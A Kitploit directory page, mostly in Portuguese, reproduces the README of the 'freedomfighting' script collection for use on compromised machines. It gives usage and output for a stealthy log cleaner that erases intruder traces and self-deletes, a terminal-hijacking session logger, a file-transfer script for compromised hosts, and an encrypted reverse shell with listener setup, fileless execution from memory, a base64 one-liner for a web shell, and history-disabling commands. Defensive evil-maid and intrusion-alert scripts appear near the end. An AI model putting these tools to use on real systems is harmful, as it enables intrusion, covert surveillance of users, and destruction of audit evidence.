Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/justicerage/freedomfighting
ReconhecimentoFerramentas de Criptografia/DescriptografiaAnálise ForenseColeta de InformaçõesPós-ExploraçãoSegurança WebTestes de PenetraçãoRed TeamingRastreadorFerramenta de Acesso RemotoAnálise de Logs
41868há 3 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
GitHub
justicerage/freedomfighting

freedomfighting

Uma coleção de scripts que podem ser úteis durante suas atividades de luta pela liberdade.

Ver Repositório
Compartilhar

Scripts de luta pela liberdade

Este repositório contém scripts que podem ser úteis durante suas atividades de luta pela liberdade. Será atualizado ocasionalmente, quando me encontrar precisando de algo que não consigo encontrar online. Tudo aqui é distribuído sob os termos da Licença GPL v3.

Contribuições e pull requests são muito bem-vindos.

Índice

  • nojail.py, um limpador de logs em Python.
  • share.sh, um script seguro de compartilhamento de arquivos.
  • autojack.py, um registrador de terminal.
  • listurl.py, um mapeador de sites.
  • ersh.py, um shell reverso criptografado.
  • boot_check.py, um script para detectar ataques evil-maid.
  • notify_hook.py, uma forma de disparar alertas quando alguns binários são chamados em um sistema.
  • Miscelânea (contato e doações)

nojail.py

Um limpador de logs que remove entradas incriminadoras em:

  • /var/run/utmp, /var/log/wtmp, /var/log/btmp (controla a saída dos comandos who, w e last)
  • /var/log/lastlog (controla a saída do comando lastlog)
  • /var/**/*.log (.log.1, .log.2.gz, etc. incluídos)
  • Qualquer arquivo ou pasta adicional designada pelo usuário

As entradas são excluídas com base em um endereço IP e/ou nome de host associado.

É tomado cuidado especial para evitar quebrar descritores de arquivo ao adulterar os logs. Isso significa que os logs continuam sendo gravados depois de adulterados, tornando a limpeza muito menos suspeita. Todo o trabalho ocorre em uma unidade tmpfs e quaisquer arquivos criados são apagados de forma segura.

Aviso: O script foi testado apenas no Linux e não será capaz de limpar entradas UTMP em outras variantes do Unix.

Uso:```

usage: nojail.py [-h] [--user USER] [--ip IP] [--hostname HOSTNAME] [--verbose] [--check] [log_files [log_files ...]]

Stealthy log file cleaner.

positional arguments: log_files Specify any log files to clean in addition to /var/**/*.log.

optional arguments: -h, --help show this help message and exit --user USER, -u USER The username to remove from the connexion logs. --ip IP, -i IP The IP address to remove from the logs. --hostname HOSTNAME The hostname of the user to wipe. Defaults to the rDNS of the IP. --regexp REGEXP, -r REGEXP A regular expression to select log lines to delete (optional)

root@kitploit:~
 --verbose, -v         Print debug messages.
 --check, -c           If present, the user will be asked to confirm each
                       deletion from the logs.
 --daemonize, -d       Start in the background and delete logs when the
                       current session terminates. Implies --self-delete.
 --self-delete, -s     Automatically delete the script after its execution.
root@kitploit:~
Por padrão, se nenhum argumento for fornecido, o script tentará determinar o endereço IP a ser limpo com base na variável de ambiente `SSH_CONNECTION`. Qualquer entrada correspondente ao DNS reverso desse IP também será removida.

#### Exemplo básico:```
./nojail.py --user root --ip 151.80.119.32 /etc/app/logs/access.log --check

...removerá todas as entradas do usuário root onde o endereço IP é 151.80.119.32 ou o hostname é manalyzer.org. O usuário também será solicitado antes de excluir cada registro devido à opção --check. Finalmente, o arquivo /etc/app/logs/access.log será processado além de todos os padrões.

Se pastas forem fornecidas como argumentos posicionais (por exemplo, /etc/app/logs/), o script irá percorrê-las recursivamente e limpar qualquer arquivo com a extensão .log (*.log.1, *.log.2.gz, etc. incluídos).

Expressões regulares

Você também pode querer remover linhas arbitrárias do arquivo de log. Para fazer isso, use a opção --regexp. Por exemplo, a seguinte linha de comando irá procurar todas as requisições POST para arquivos PHP a partir do IP especificado:``` ./nojail.py --ip 151.80.119.32 --regexp "POST /.*?.php"

root@kitploit:~
#### Daemonizando o script```
./nojail.py --daemonize

Assumindo que é executado a partir de uma conexão SSH, este comando irá eliminar todos os logs relativos à atividade do utilizador atual com o endereço IP e hostname detetados imediatamente após a conexão ser fechada. Este script irá subsequentemente autoeliminar-se. Por favor, tenha em mente que não terá qualquer oportunidade de receber mensagens de erro da aplicação. É recomendado que experimente eliminar os logs uma vez antes de iniciar o daemon para garantir que os argumentos especificados estão corretos. Se estiver numa shell sem TTY, o script não conseguirá detetar quando a sessão termina. Será notificado de que os logs serão eliminados em 60 segundos e que deverá sair da sessão antes desse prazo (ou arriscar-se a criar mais entradas após o script ter sido executado).

Sample output:```

root@proxy:~# ./nojail.py [ ] Cleaning logs for root (XXX.XXX.XXX.XXX - domain.com). [] 2 entries removed from /var/run/utmp! [] 4 entries removed from /var/log/wtmp! [ ] No entries to remove from /var/log/btmp. [] Lastlog set to 2017-01-09 17:12:49 from pts/0 at lns-bzn-XXX-XXX-XXX-XXX-XXX.adsl.proxad.net [] 4 lines removed from /var/log/nginx/error.log! [] 11 lines removed from /var/log/nginx/access.log! [] 4 lines removed from /var/log/auth.log!

root@kitploit:~
### Disclaimer
Este script é fornecido sem qualquer garantia.
Não me culpe se não apagar todos os vestígios de algo que você não deveria ter feito em primeiro lugar.

## share.sh

Um script portátil e seguro para compartilhamento de arquivos. Durante a luta pela liberdade, geralmente não é possível copiar arquivos via scp para máquinas comprometidas. São necessárias formas alternativas de enviar arquivos, mas a maioria dos serviços de compartilhamento são muito restritivos ou não fornecem uma maneira de recuperar arquivos facilmente a partir da linha de comando. Considerações de segurança também podem impedir que as pessoas enviem arquivos confidenciais para provedores de nuvem por medo de que eles mantenham uma cópia para sempre.

Este pequeno e portátil script bash depende do [transfer.sh](https://transfer.sh) para resolver esse problema. Ele...
* Criptografa os arquivos antes de enviá-los (AES-256-CBC simétrico).
* Usa automaticamente o `torify` se estiver presente no sistema para maior anonimato.

As únicas dependências necessárias são `openssl` e `curl` ou `wget`.

### Usage```
root@proxy:~# ./share.sh ~/file_to_share "My_Secure_Encryption_Key!"
Success! Retrieval command: ./share.sh -r file_to_share "My_Secure_Encryption_Key!" https://transfer.sh/BQPFz/28239
root@proxy:~# ./share.sh -r file_to_share "My_Secure_Encryption_Key!" https://transfer.sh/BQPFz/28239
File retrieved successfully!

Argumentos adicionais durante o upload permitem controlar o número máximo de downloads permitidos para o ficheiro (-m) e quantos dias o transfer.sh o manterá (-d). O valor padrão para ambas estas opções é 1.

Aviso: Não use espaços na chave de encriptação, ou apenas a primeira palavra da sua frase-passe será considerada. Isto deve-se à forma como o getopts processa argumentos (acho eu). Pull requests são bem-vindos se alguém estiver interessado em corrigir isto.

autojack.py

O AutoJack é um pequeno script que aproveita o shelljack do EmptyMonkey para registar o terminal de qualquer utilizador que se conecte através de SSH. Ele monitoriza o auth.log para conexões bem-sucedidas, descobre o PID do processo bash do utilizador, e deixa o resto parashelljack.

Launch it in a screen, and wait until other users log-in. Their session will be logged to /root/.local/sj.log.[user].[timestamp].

The script is not particularly stealthy (no attempt is made to hide the shelljack process) but it will get the job done. Note that to avoid self-incrimination, the root user is not targeted (this can be trivially commented out in the code).

listurl.py

ListURL is a multi-threaded website crawler which obtains a list of available pages from the target. This script is useful for bug-bounty hunters trying to establish the attack surface of a web application.

root@kitploit:~
usage: listurl.py [-h] [--max-depth MAX_DEPTH] [--threads THREADS] [--url URL]
                  [--external] [--subdomains] [-c COOKIE]
                  [--exclude-regexp EXCLUDE_REGEXP]
                  [--show-regexp SHOW_REGEXP] [--verbose]

Mapear um site obtendo recursivamente todas as suas URLs.

argumentos opcionais:
  -h, --help            mostra esta mensagem de ajuda e sai
  --max-depth MAX_DEPTH, -m MAX_DEPTH
                        A profundidade máxima para rastrear (padrão é 3).
  --threads THREADS, -t THREADS
                        O número de threads a usar (padrão é 10).
  --url URL, -u URL     A página a partir da qual iniciar.
  --external, -e        Seguir links externos (padrão é falso).
  --subdomains, -d      Incluir subdomínios no escopo (padrão é falso).
  -c COOKIE, --cookie COOKIE
                        Adicionar cookies à requisição. Pode ser especificado
                        várias vezes.Exemplo: -c "user=admin".
  --exclude-regexp EXCLUDE_REGEXP, -r EXCLUDE_REGEXP
                        Uma expressão regular que corresponde a URLs para ignorar. A
                        expressão fornecida não precisa corresponder à URL inteira,
                        apenas a uma parte dela.
  --show-regexp SHOW_REGEXP, -s SHOW_REGEXP
                        Uma expressão regular que filtra os resultados exibidos. A
                        expressão fornecida é pesquisada dentro dos resultados, não
                        precisa corresponder à URL inteira. Exemplo: \.php$
  --no-certificate-check, -n
                        Desativa a verificação de certificados SSL.
  --output-file OUTPUT_FILE, -o OUTPUT_FILE
                        O arquivo no qual as URLs obtidas devem ser escritas
  --verbose, -v         Ser mais verboso. Pode ser especificado várias vezes.```

Here is the sample output for a small website:

./listurl.py -u https://manalyzer.org [] Started crawling at depth 1. [] Started crawling at depth 2.... [] Started crawling at depth 3. [] URLs discovered: https://manalyzer.org/report/f32d9d9ff788998234fe2b542f61ee2c (GET) https://manalyzer.org/report/eb4d2382c25c887ebc7775d56c417c6a (GET) https://manalyzer.org/report/ca127ebd958b98c55ee4ef277a1d3547 (GET) https://manalyzer.org/upload (POST) https://manalyzer.org/report/dd6762a2897432fdc7406fbd2bc2fe18 (GET) https://manalyzer.org/report/2fba831cab210047c7ec651ebdf63f50 (GET) https://manalyzer.org/report/029284d88f7b8586059ddcc71031c1f1 (GET) https://manalyzer.org/ (GET) https://manalyzer.org/report/83f3c2b72e3b98e2a72ae5fdf92c164e (GET) https://manalyzer.org/report/1bf9277cc045362472d1ba55e4d31dd5 (GET) https://manalyzer.org/report/af09bf587303feb4a9e9088b17631254 (GET) https://manalyzer.org/report/508d8094be65eaae4d481d40aacb2925 (GET) https://manalyzer.org/report/0e8592aa78d6e5a14043ab466601ef9b (GET) https://manalyzer.org/report/b52ddc0dda64f35721d5692e168ad58c (GET) https://manalyzer.org (GET) https://manalyzer.org/bounty (GET) https://manalyzer.org/search (POST)```

Filtering results

The --exclude-regexp and --show-regexp options are used to control which URLs should be shown or ignored. For instance, in the example above, you may want to ignore pages which are likely to be very similar:

root@kitploit:~
./listurl.py -u https://manalyzer.org --exclude-regexp "/report/"
   [*] Iniciou a varredura na profundidade 1.
   [*] Iniciou a varredura na profundidade 2...
   [*] Iniciou a varredura na profundidade 3.
   [*] URLs descobertas:
   https://manalyzer.org (GET)
   https://manalyzer.org/bounty (GET)
   https://manalyzer.org/upload (POST)
   https://manalyzer.org/search (POST)
   https://manalyzer.org/ (GET)```

Note that the matching URLs will *not* be crawled. This is particularly useful
when the script gets lost in deep comment pages or repetitive content. Alternately, 
you may only be interested in PHP scripts: ``./listurl.py --show-regexp "\.php$"``.

### Crawl parameters

By default, the crawler only goes 3 levels deep. This is something you can control
with the ``--max-depth`` option.

Another consideration is whether URLs pointing to external domains should be followed.
By default, the script doesn't, but you can enable this by setting the ``--external``
switch. If you're not interested in random external domains but still want to extend
the crawl to subdomains, you can set the ``--subdomains`` switch:

./listurl.py -u https://google.com --subdomains [] Iniciou o rastreio à profundidade 1. [] Iniciou o rastreio à profundidade 2.^C Interrupção captada! Aguarde alguns segundos enquanto as threads encerram... [*] URLs descobertos: https://drive.google.com/drive/ (GET) https://google.com/../../policies/privacy/example/phone-number.html (GET) https://play.google.com/store/books/details/Markus_Heitz_Le_Secret_de_l_eau_noire?id=Oh1rDgAAQBAJ (GET) https://play.google.com/store/books/details/Leslie_Kelly_Face_au_d%C3%A9sir?id=mUtyDAAAQBAJ (GET) https://mail.google.com/mail/?tab=Tm (GET) https://google.com/../../policies/privacy/example/your-activity-on-other-sites-and-apps.html (GET) https://google.com/locations/ (GET) [...]```

Notice that if the script takes too long, you can hit CTRL+C anytime to shut it down. You'll then be shown the pages discovered so far.

If you need to access authenticated pages on a website, you can provide cookies to listurl.py from the command line with the --cookie option.

Finally, if you're working on a website which has an invalid or self-signed SSL certificate, use the --no-certificate-check option to ignore SSL errors.

ersh.py

ersh is an encrypted reverse shell written in pure Python. Ever been on a box with no standard utilities or compilation tools, and no easy way to upload binaries? Você tem medo que um IDS note uma shell de saída? Fechou acidentalmente seu listener netcat porque pressionou ^C? Não sofra mais.ersh offers the following features:

  • SSL-encrypted with both client and server authentication (SSL as in Suck-it Snort Layer).
  • Fully featured TTY.
  • Optionnaly file-less.
  • No dependencies, should run on any machine with Python >= 2.6.

For a more detailed discussion about how this tool came to be, please refer to this blog post.

Usage

This script needs to be edited before it works! Look for this marker near the beginning:

root@kitploit:~
###############################################################################
# EDITE OS PARÂMETROS ABAIXO DESTA LINHA
###############################################################################```

The ```HOST``` and ```PORT``` are self-explanatory, but you may need additional help
for the SSL certificates. Nobody wants to fight against OpenSSL's client however, so
you can just use the following one-liners:

openssl req -new -newkey rsa:2048 -days 50 -nodes -x509 -subj "/C=US/ST=Maryland/L=Fort Meade/O=NSA/CN=www.nsa.gov" -keyout server.key -out server.crt && cat server.key server.crt > server.pem && openssl dhparam 2048 >> server.pem openssl req -new -newkey rsa:2048 -days 50 -nodes -x509 -subj "/C=US/ST=Maryland/L=Fort Meade/O=NSA/CN=www.nsa.gov" -keyout client.key -out client.crt```

That's it! You should now have five new files in your current folder: server.(crt|key|pem) and client.(crt|key). Some of them need to be inserted in the script so the reverse shell and the listener can authenticate each other. Specifically:

  • client_key should contain the contents of client.key.
  • client_crt should contain the contents of client.crt.
  • server_crt should contain the contents of server.crt.

That's it, no more editing required.

Setting up the listener

Considering that a full TLS negociation is going to proceed, a traditional nc listener will not suffice here. socat has been chosen for this task, due to its ability to handle encryption and TTYs. On Debian-based distributions, you should be able to obtain it by simply running sudo apt-get install socat.

Assuming you're still in the folder where you generated the keys and certificates, and you want to listen on port 443, here is the command line you should run on the machine where the reverse shell will arrive:

root@kitploit:~
socat openssl-listen:443,reuseaddr,cert=server.pem,cafile=client.crt,method=TLS1 file:`tty`,raw,echo=0```

### Running from memory

You don't need to copy the script to the remote machine for it to work. Here is a simple way to run it
from a non-interactive shell. Copy the whole script to your clipboard and run the following commands on
the victim:

python - <<'EOF' [paste script contents here] 'EOF'```

If you're trying to launch ersh.py from an environment which doesn't support multiple lines (such as Weevely), you can also try generating a one-liner like this:

root@kitploit:~
root@attacker:~/freedomfighting# gzip -c ersh.py | base64
H4sICPMsblkAA2UucHkA1Vp5k6O4kv+fT8FUx8RULdU2PsB27asXCxh8Ajbgs2eiHocwmNMcxvjT
r4Rdd0/PvNiZjV0iqgxSKpXK45cpxJef6nma1A03rMdl5kQhdnNzg4EkdWpxiRsl/l/jPM1cEyj6
[...]

weevely> echo "H4sICPMsblkAA2..." | base64 -d | gunzip | python```

### Sample output

On the receiver machine:

root@attacker:~/freedomfighting# socat openssl-listen:8080,reuseaddr,cert=server.pem,cafile=client.crt,method=TLS1 file:tty,raw,echo=0```

On the victim:

root@kitploit:~
root@victim:~# python ersh.py
[*] Conexão estabelecida!
root@victim:~#```

And on the receiver again:

root@attacker:/freedomfighting# socat openssl-listen:8080,reuseaddr,cert=server.pem,cafile=client.crt,method=TLS1 file:tty,raw,echo=0 root@victim:# unset HISTFILE root@victim:~#```

boot_check.py

This script was written to detect evil maid attacks. It does so by checking at boot time if the hard drive was powered on but not the OS (for instance, if it was taken out of the computer for a copy, or if someone tried to boot the machine but was stopped by a FDE password).

Installation:

You need to make sure this script will run at every boot. The following instructions will work on distributions using systemd.

  • Copy boot_check.service to /etc/systemd/system/. Fix paths inside of it as needed. The script will run as root so make sure it is not world writable!
  • #> systemctl enable boot_check.service

Install dependencies:

  • #> apt install smartmontools dialog

Run the script once so it initializes:

  • #> ./boot_check.py

If a confirmation message appears, you're good to go.

Testing

If you want to make sure that the script works, make sure you do the following:

  • Do not just reboot the computer, as the power to the hard drive may not be cut. Turn it off completely.
  • If you don't want to take out your drive and plug it into another machine, you can try interrupting the boot process. This has to happen before the script is executed, but after the drive has been powered on (which means after the BIOS password). A good moment to interrupt the boot process is when the prompt for the FDE password is shown.
  • Then turn on the computer again, and you should see the alert on your screen a few seconds after your computer has booted up.

notify_hook.py

This script was created to provide a simple way to "booby-trap" certain executables on a linux system. The idea is to detect intruders when they use certain binaries (id, whoami, gcc) on a server they don't own.

To protect those binaries, notify_hook.py create symbolic links to this script higher-up in the PATH. notify_hook will then send you an alert and call the intended program in a transparent fashion. For instance, if you want to "protect" id, just create the following symlink on your machine:

root@kitploit:~
ln -s path/to/notify_hook.py /usr/local/bin/id```

...and all future calls to `id` should be routed through this script. This
is obviously not a foolproof way to detect hackers on your systems, but it
should nonetheless catch the most careless intruders.

### Customization

Some programs and scripts on your system may regularly invoke some of the
binaries you wish to protect. In that case, you can edit a variable called 
`CALLER_WHITELIST` placed at the beginning of the script. Put the name of
those processes in the list to disable alerts from them (regular expressions
are accepted).

The current notification method implemented in this script is a text message
sent thtough Signal with AsamK's 
[signal-cli](https://github.com/AsamK/signal-cli). You'll need to install this
project separately if you want to use it, or, more likely, replace the 
`notify_callback` function placed on top of `notify_hook.py` with whatever
suits your needs.

### Contact
[](https://github.com/justicerage/freedomfighting/blob/HEAD/justicerage@manalyzer%5B.%5Dorg)
[](https://twitter.com/JusticeRage)
[](https://pgp.mit.edu/pks/lookup?op=vindex&search=0x40E9F0A8F5EA8754)
Baixar ferramenta
freedomfighting — Uma coleção de scripts que podem ser úteis durante suas atividades de luta pela liberdade. | Kitploit